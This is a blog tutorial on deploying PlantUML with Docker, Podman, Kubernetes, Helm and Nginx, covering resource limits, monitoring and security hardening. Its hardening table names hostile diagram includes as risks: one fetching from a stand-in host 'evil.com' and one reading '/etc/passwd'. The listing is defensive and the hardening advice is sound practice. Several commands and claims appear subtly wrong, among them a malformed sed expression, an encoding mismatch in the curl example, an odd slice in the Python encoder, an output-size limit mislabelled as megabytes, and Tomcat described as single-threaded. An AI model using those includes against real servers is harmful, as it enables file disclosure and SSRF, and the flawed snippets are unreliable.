PlantUML in containers: Docker / Podman / multi-version isolation

puml.online

PlantUML deployment shape depends on usage scale. This is the trade-off between CLI, Docker, Podman, Kubernetes sidecar, plus security hardening, performance monitoring, and multi-version isolation.

Three common deployment shapes

Shape A: CLI one-shot render

For CI, ad-hoc tasks, personal scripts.

1
2
3
4
5
6
docker run --rm \
-v $(pwd)/docs/diagrams:/data \
-u $(id -u):$(id -g) \
plantuml/plantuml \
-tsvg -failfast2 \
/data/architecture.puml

Key flags:

  • --rm: drop container after render — no garbage
  • -v: mount .puml directory into container
  • -u $(id -u):$(id -g): container user matches host — file permissions stay correct
  • -failfast2: bail on first error (CI must have this — otherwise rendering 100 diagrams, the 50th failing one will keep going)

Shape B: HTTP server (team shared)

For team wiki, CI as a service.

1
2
3
4
5
6
7
docker run -d \
--name plantuml-server \
--restart unless-stopped \
-p 8080:8080 \
-e PLANTUML_SECURITY_PROFILE=strict \
-v /opt/plantuml-data:/data \
plantuml/plantuml-server:tomcat

Then:

1
curl "http://localhost:8080/svg/~1$(cat diagram.puml | base64 -w0 | sed 's/+/-/g;s/\//_/g/')"

Returns SVG. ~1 is the HUFFMAN encoding prefix (plantuml.com default post-2025).

Internal deployment — swap localhost:8080 for plantuml.internal.company.com:8080. Confluence / Jira / Notion can all point at it.

Shape C: Kubernetes sidecar (inside microservices)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: api-server
spec:
template:
spec:
containers:
- name: api
image: my-api:latest
env:
- name: PLANTUML_URL
value: "http://localhost:8080"
- name: plantuml
image: plantuml/plantuml-server:tomcat
ports:
- containerPort: 8080
resources:
limits:
memory: "512Mi"
cpu: "500m"

API service and plantuml share the same Pod, sharing localhost network. Benefits:

  • No external IP, internal access is safe
  • API dies → plantuml restarts with it
  • plantuml-server memory footprint is tiny (<500MB), perfectly fine as sidecar

Multi-version isolation

A legacy project uses PlantUML features only available before v1.2018 (!include semantics), new project uses the latest. Two servers:

1
2
3
4
5
6
7
8
9
# legacy
docker run -d --name plantuml-legacy \
-p 8081:8080 \
plantuml/plantuml-server:tomcat-jdk11-v1.2020.16

# modern
docker run -d --name plantuml-modern \
-p 8082:8080 \
plantuml/plantuml-server:latest

Business code picks the endpoint based on need:

1
2
3
4
def render_puml(puml_text: str, legacy: bool = False) -> bytes:
url = "http://localhost:8081" if legacy else "http://localhost:8082"
encoded = base64.urlsafe_b64encode(zlib.compress(puml_text.encode()))[: -4]
return requests.get(f"{url}/svg/{encoded}").content

Podman (rootless daemon)

Docker Desktop on macOS/Windows needs a daemon. Podman is daemonless:

1
2
3
4
5
6
7
# start
podman run -d --name plantuml \
-p 8080:8080 \
plantuml/plantuml-server:tomcat

# 99% docker-compatible
podman run --rm -v $(pwd):/data plantuml/plantuml -tsvg /data/diagram.puml

In CI use rootless Podman, runs as non-root, safer:

1
2
3
4
5
6
7
8
9
# .github/workflows/diagrams.yml
jobs:
render:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: |
sudo apt-get install -y podman
podman run --rm -v $(pwd):/data:Z plantuml/plantuml -tsvg /data/diagram.puml

:Z is SELinux relabel — rootless Podman on RHEL/CentOS can mount host directories.

Resource limits

PlantUML single-render memory can blow up — especially diagrams with !include pulling multiple stdlibs.

1
2
3
4
5
docker run -d --name plantuml \
-p 8080:8080 \
--memory=1g --memory-swap=2g \
--cpus=2 \
plantuml/plantuml-server:tomcat

K8s:

1
2
3
4
5
6
7
resources:
requests:
memory: "256Mi"
cpu: "200m"
limits:
memory: "1Gi"
cpu: "1"

Monitor render time > 5 seconds and alert — someone probably added a !include http://... (network include freezes the whole server).

Security hardening

Risk Hardening
!include http://evil.com/leak.puml fetches malicious file PLANTUML_SECURITY_PROFILE=strict blocks remote include
!include file:///etc/passwd reads host files strict also blocks local file reads
SSRF / DoS Add nginx rate limit, single-IP requests per second
Server exposed publicly and abused Firewall only allows internal; Cloudflare Access for auth
Sensitive info in cached images --rm deletes container after render
PlantUML itself has CVE Rebuild with latest plantuml/plantuml-server:tomcat monthly

Full strict profile:

1
2
3
4
5
6
docker run -d --name plantuml \
-p 8080:8080 \
-e PLANTUML_SECURITY_PROFILE=strict \
-e PLANTUML_DISABLE_INCLUDE=true \
-e PLANTUML_LIMIT_SIZE=8192 \
plantuml/plantuml-server:tomcat
  • DISABLE_INCLUDE=true completely disables include
  • LIMIT_SIZE=8192 max 8MB output per diagram

Monitoring

1
2
3
4
5
6
# prometheus.yml scrape config
scrape_configs:
- job_name: 'plantuml'
static_configs:
- targets: ['plantuml.internal:8080']
metrics_path: /metrics

PlantUML server ships Prometheus endpoint:

1
2
3
4
curl http://localhost:8080/metrics
# HELP plantuml_request_total Total requests
# TYPE plantuml_request_total counter
plantuml_request_total{format="svg"} 1234

Key metrics:

  • plantuml_request_total: render requests
  • plantuml_render_duration_seconds: render time (should be < 1s)
  • plantuml_memory_usage_bytes: memory used

Alert rules:

1
2
3
4
5
6
7
8
9
10
11
12
13
groups:
- name: plantuml
rules:
- alert: PlantumlSlowRender
expr: plantuml_render_duration_seconds > 5
for: 5m
annotations:
summary: "PlantUML render slow — someone likely added a network include"
- alert: PlantumlHighMemory
expr: plantuml_memory_usage_bytes > 800 * 1024 * 1024
for: 10m
annotations:
summary: "PlantUML memory above 800MB"

Reverse proxy (Nginx)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# /etc/nginx/conf.d/plantuml.conf
server {
listen 80;
server_name plantuml.internal.company.com;

# 10 r/s per IP, anti-abuse
limit_req_zone $binary_remote_addr zone=plantuml:10m rate=10r/s;
limit_req zone=plantuml burst=20 nodelay;

location / {
proxy_pass http://localhost:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;

# 24h cache (PlantUML input is immutable)
proxy_cache_valid 200 24h;
add_header X-Cache-Status $upstream_cache_status;
}
}

Input is immutable — same puml text always produces same SVG. Cache hit ratio should be 99%+.

Helm / Argo CD

When the team grows, manual kubectl apply is error-prone. Helm chart:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# values.yaml
image:
repository: plantuml/plantuml-server
tag: tomcat

replicaCount: 2

resources:
limits:
memory: 1Gi
requests:
memory: 256Mi

security:
profile: strict
disableInclude: true
limitSize: 8192

ingress:
enabled: true
hosts:
- plantuml.internal.company.com
1
helm install plantuml ./plantuml-chart -n plantuml --create-namespace

Production uses Argo CD to sync Git → cluster. PlantUML config is fully GitOps.

Field foot-guns

  • Docker mount permission wrong: container runs as root, generated files are owned by root on host, normal user can’t read them. Use -u $(id -u):$(id -g).
  • PlantUML server memory leak: some diagrams with large !include files don’t release memory after render — OOM after 3 days. Limit --memory=1g + periodic docker restart.
  • HTTP server slow: default tomcat config is single-threaded; 100 concurrent requests queue up. Switch to Undertow or add nginx upstream.
  • Network include hangs: developer uses !include http://..., server-side fetch times out. strict profile outright forbids it, forcing local include.
  • PlantUML version drift: !include behavior differs between v1.2020 and v1.2024. Pin versions, write container tag explicitly: plantuml/plantuml-server:tomcat-v1.2024.7.
  • Title: PlantUML in containers: Docker / Podman / multi-version isolation
  • Author: puml.online
  • Created at : 2026-07-30 16:45:00
  • Updated at : 2026-08-14 21:34:29
  • Link: https://puml.online/blog/plantuml-docker-deployment-en/
  • License: This work is licensed under CC BY-NC-SA 4.0.